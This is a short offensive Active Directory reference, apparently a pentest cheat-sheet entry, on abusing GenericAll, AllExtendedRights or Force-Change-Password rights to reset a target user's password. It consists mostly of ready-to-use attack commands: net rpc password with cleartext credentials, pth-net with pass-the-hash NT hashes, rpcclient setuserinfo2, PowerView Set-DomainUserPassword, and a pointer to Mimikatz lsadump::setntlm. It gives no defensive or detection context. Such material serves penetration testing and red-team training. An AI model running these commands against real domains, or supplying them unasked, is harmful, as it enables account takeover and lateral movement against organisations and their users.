This abuse can be carried out when controlling an object that has a GenericAll, AllExtendedRights or User-Force-Change-Password over the target user.
It can also be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.
# With net and cleartext credentials (will be prompted)
net rpc password $TargetUser -U $DOMAIN/$ControlledUser -S $DomainController
# With net and cleartext credentials
net rpc password $TargetUser -U $DOMAIN/$ControlledUser%$Password -S $DomainController
# With Pass-the-Hash
pth-net rpc password $TargetUser -U $DOMAIN/$ControlledUser%ffffffffffffffffffffffffffffffff:$NThash -S $DomainController
The rpcclient can also be used on UNIX-like systems when the package samba-common-bin is missing.
rpcclient -U $DOMAIN/$ControlledUser $DomainController
rpcclient $> setuserinfo2 $TargetUser 23 $NewPassword
The attacker can change the password of the user. This can be achieved with Set-DomainUserPassword (PowerView module).
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
Mimikatz's lsadump::setntlm can also be used for that purpose.
